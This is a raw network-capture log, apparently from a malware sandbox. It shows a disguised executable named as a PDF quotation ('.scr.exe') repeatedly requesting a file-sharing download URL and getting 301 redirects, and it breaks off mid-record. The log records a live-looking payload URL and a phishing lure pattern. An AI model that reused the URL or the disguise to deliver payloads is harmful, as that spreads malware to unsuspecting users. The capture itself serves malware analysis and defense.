Oct 4, 2024 11:24:27.867690086 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kcg5%2FnwdW6BghjD2gK1MlKmZWufL23tv6JSkqYpjJhcljmgXYrKWULCPzZWQz3IFOnSeTaB1RZVdSjcO%2FolAr7DbNAwAiw5VPmkp05KaTqnTWmdE23S%2FnP6Y%2B8Wu54ZYnRk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e792acc1a30-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:24:27.869870901 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:24:28.064651966 CEST	826	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YTG01vhNYdGi67Mn5gDpRTFrgFcKpteyt0lFluz0RCwUG9j3fV1FUlwgXz5Ezb%2BzeQfwXhcdE6%2FadtOt9h063EeZtNUrKMAfzxiHxYg4lyfKvgnIdHH1E8uSOow9m86R%2Fi4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e7a7b241a30-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 4, 2024 11:24:28.199292898 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 4, 2024 11:24:28.199935913 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:24:28.402653933 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZnYwkURTx4BoQ3Z5%2B9U3rd8Dn0DFzd29iU89uY4e%2FGVDtlQm3FH7ANPnQqRzBSU%2BikwCAYFxslx%2BT%2FCPuahA4KyuH5WGDGErw5on2%2F2mudT0znJP9P0uHM5yU9SRPKxK3fg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e7c8bf81a30-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:24:28.403258085 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:24:28.692926884 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UrNMFDyTL5p3Bhv2Olp8Q7qf%2FYGDi7l9Wnc4iNeov31zscB54BMu98PPWE6nBOvLeUvvfYDGBkFxyAcchvmVFHVAMTQihaWFeYmCJ0wbq0lL%2FrNSph3v2Jbl3GTpwCZDq4g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e7dcc851a30-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50133	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:28.701401949 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:24:29.508230925 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y41iV9Aznnto5iIq84vkheEV0akU1jQ%2F1dj%2BXumb3vBkVMwqMVh893Ym8saicLe95pVqNhPJ9t%2FvXTlg16dNUHm6sdGoBiZm8JSpVBzMPSs1QQRZ8kn%2BdspnDjojwdR95YU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e81dfd0c330-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50137	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:29.517752886 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:24:30.161164045 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qX3P8ZGMP94FwOqTw4NIKF4reaJbBPdiUjYXvCZsIpNfyYCIfhsMyRvMo0nVj9Wqg5soANS7bhLJ2aEidgxo2qX8JIwZZ9307LvKSqMZx6PzrNiReGVZ%2BUIPGoTwDBO7X4I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41e86f98542cf-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50158	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:33.863601923 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:24:34.501785994 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ABVNADnVDv5RE9W3yVF4nkA429R7PWt9bckZJi5NKle5TxN7rYnRwPeKXsGO71NgNa20IkbxycIgnE%2BdcI0RU1rWtoOeTYpSGI8f%2Fe0AE%2BelIn%2BM9nVDCvIchZtCsZv10rQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ea2186d0cba-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50159	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:34.508358955 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:24:35.178353071 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eOAwvcezQ%2FtqLDjMnjZSzz%2BrFf1wkYSxPycOXq1j4KYt6%2FlXxkkUV8XJwiCgWqSX9EMrSQZwmzimQNvP6rME84AlsNJ1pUD3mEIl9h638Oj9%2BG24204hvX3HASAKlW%2FDiKw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ea64ca04211-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50162	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:38.386806011 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:24:39.025295019 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a77GfnptneyetRyeib%2FgVmY76nRojBVw9iQjIKTZWfct3SnL%2BrimTXMVKr%2FFl3v0cl1lBPLczDrMqh%2B8B4QmhLUTRzdMXQ%2FWteYSnBs3Tm4M5yX%2FXbBySQa9CLNnhve4qbM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ebe6ef70ca8-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50163	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:39.034446001 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:24:39.588599920 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=APZP2VH3qcp1E45nkioAFXZ26Z5a2Hh%2FWuVqxYWYMiRl6vgi1iNT4sCiWv95twfrgfIUD4mjn6W0TQDZ0OwwP%2BgYGnhwLoJEwAvpTIcpodagPk3vD0QN%2BzMfsuRt9GHqwC0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ec26a474262-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50166	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:42.791801929 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:24:43.371170998 CEST	843	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y89IUBC%2Badzs0202Y%2BTnE88kU3gNlUzwTcK3NVWn2JZT2C4W8B0v3cnk6%2FCfjZfFGVVKJDTlG%2BMgeSDm9%2BeEaAHr%2Fs7QaQ13gtqczNbwDmDr%2BH%2Bl7kplgj8eJvhC%2Fbv3FSA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41eda0f600f51-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50168	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:43.379610062 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:24:44.041701078 CEST	839	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2By4AoPJ7MCoAnNUbwdMcw5zNMekMoD%2FoZOr5bsnMJaKh%2BAz6C2rqcSG4pI7sGLVIaNT96h%2FatiA7z2vmRWDmF%2BsTep77BgKtXPc4yCLT8m8u2%2FzLqrfaBkLo12b0eJ%2FeNDs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41eddb9397d00-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50171	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:47.440423012 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:24:48.083663940 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fIF58blo%2FNijqO5YSDjzFDZSJEObIKS4NUIzldwKs4RMk%2FDN%2BYcc0U49xdz6DgtoVS%2BNoE8ouEdmHpafUxi3taZ19f3mujSQkkkoLiSlAJqttkExnRi8Uyhh7OraKMuxktY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41ef6f8da8cda-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50172	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:48.092721939 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:24:48.758030891 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F4GRkftsWIj6rRJzzWxEEHxR72Hfv5eaLLoodz8VxGoDassRFe%2BG4lUo%2FfA51s5g3tO4zLrGB%2Fgnbb5ZY0Tk2QdC%2BAKgQ6fOqOGIR9wTzGzX1i%2FLD21I8C3iOFMizJfh190%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41efb2a68185d-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 